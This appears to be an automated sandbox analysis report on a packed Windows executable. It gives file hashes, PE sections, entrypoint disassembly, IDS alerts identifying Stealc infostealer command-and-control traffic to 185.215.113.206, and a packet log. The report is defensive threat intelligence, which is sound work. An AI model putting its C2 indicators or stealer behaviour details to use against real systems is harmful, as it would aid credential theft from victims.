Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958683042939713
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'159'616 bytes
MD5:	23f9aaabdec387215997cd70821d5859
SHA1:	42305bdb3f025748f6db57b7677244f1c0e00b2d
SHA256:	1f9a1e48fd8e9be5528b088a0a9cbefcdb523ee10e63fa14249130c139f1ccb9
SHA512:	e0d3295f423f35b8a1ecba7756ed6b820931fae75d5161a8430fd30df5610317afe580401b9a4d945c81202cf9536b2c7bdae0a8500bd709cf0c0d7c0fb1b33c
SSDEEP:	49152:VGiyOrDOTaPLMlw56zJTpcydoQktteRsiRfl5XkqH:VGiyOgBdzJ6Okrmx5UqH
TLSH:	89A533501720F6CBDE6B8DF11E3B0B261061B78676B7A6D849E043396DB6EB4FF14206
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb3f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F01F0840FAAh
psrld mm4, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	5d8b0de3aecbf44b287e0e38c955ac1f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2af000	0x200	f760cdc092f3c61a2a206a2ba7c6ae8a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
chpvhele	0x599000	0x1a5000	0x1a4200	392cc926b34de2d126291c4a399e2c90	False	0.9950256620053556	data	7.954626261330787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mtwvpxbm	0x73e000	0x1000	0x600	5101e38432b1201152447b3adae363f7	False	0.5924479166666666	data	5.141648708396097	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x73f000	0x3000	0x2200	396aa347c7073e853270768ba52c6d66	False	0.06698069852941177	DOS executable (COM)	0.8526354937803059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T02:46:08.202147+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:08.685006+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:08.692292+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T02:46:08.971032+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:08.978397+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-29T02:46:10.068138+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:10.350048+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-29T02:46:37.773127+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:42.108607+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:43.217937+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:44.207112+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:46.412569+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP
2024-10-29T02:46:46.960498+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49838	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 02:45:58.143436909 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:45:58.252829075 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:45:58.299714088 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:46:06.173254967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:06.178726912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:06.178828001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:06.190824986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:06.196278095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:07.091721058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:07.091800928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:07.094504118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:07.100130081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:07.752819061 CET	49675	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:46:07.862299919 CET	49673	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:46:07.909152985 CET	49674	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:46:08.202054977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.202136040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.202147007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.202244043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.202332020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.202375889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.226224899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.405781031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.405870914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.407180071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.684792995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.684829950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.684868097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.685005903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.686892033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.692291975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.970814943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.970851898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.970889091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.970923901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.970957041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.971013069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.971031904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.971062899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.971076012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.971076012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.971101046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:08.971117020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.971154928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.973057985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:08.978396893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.255883932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.255971909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:09.278003931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:09.278085947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:09.283493996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283524990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283574104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283601999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283629894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283695936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283725023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.283770084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:09.617283106 CET	443	49703	23.1.237.91	192.168.2.5
Oct 29, 2024 02:46:09.617449999 CET	49703	443	192.168.2.5	23.1.237.91
Oct 29, 2024 02:46:10.068049908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.068137884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.068727016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.074141979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.349958897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350001097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350048065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350048065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350055933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350089073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350100040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350123882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350130081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350169897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350464106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350497961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350513935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350533009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350543976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350565910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350583076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350601912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.350614071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.350651026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.351166010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.351212978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.351241112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.351274967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507154942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507195950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507230997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507281065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507281065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507297993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507344007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507350922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507392883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507421970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507472038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507473946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507508039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507528067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507558107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.507575989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.507602930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.508070946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.508132935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.508141994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.508191109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.508196115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.508225918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.508236885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.508260012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.508276939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.508310080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624020100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624068022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624097109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624119043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624129057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624149084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624180079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624205112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624237061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624267101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624286890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624313116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624414921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624465942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624470949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624500036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624511957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624551058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624789000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624840021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624846935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624897003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624901056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624931097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624943972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.624963999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.624972105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.625014067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.668036938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.668054104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.668067932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.668098927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.668144941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741108894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741169930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741204023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741239071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741239071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741287947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741287947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741307020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741339922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741379023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741379023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741614103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741664886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741664886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741710901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741843939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741877079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741900921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741913080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741921902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.741945982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.741962910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.742006063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.785314083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.785367012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.785402060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.785399914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.785437107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.785504103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.785504103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.785504103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858148098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858196020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858211040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858226061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858242035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858242035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858294964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858294964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858398914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858412027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858447075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858478069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858587027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858628035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858629942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858676910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858760118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858783960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858798027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858808041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858840942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858840942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858843088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858859062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.858886957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.858906984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.902216911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:10.902292013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:10.902374029 CET	80	49704	185.215.113.206	192.168.2.5
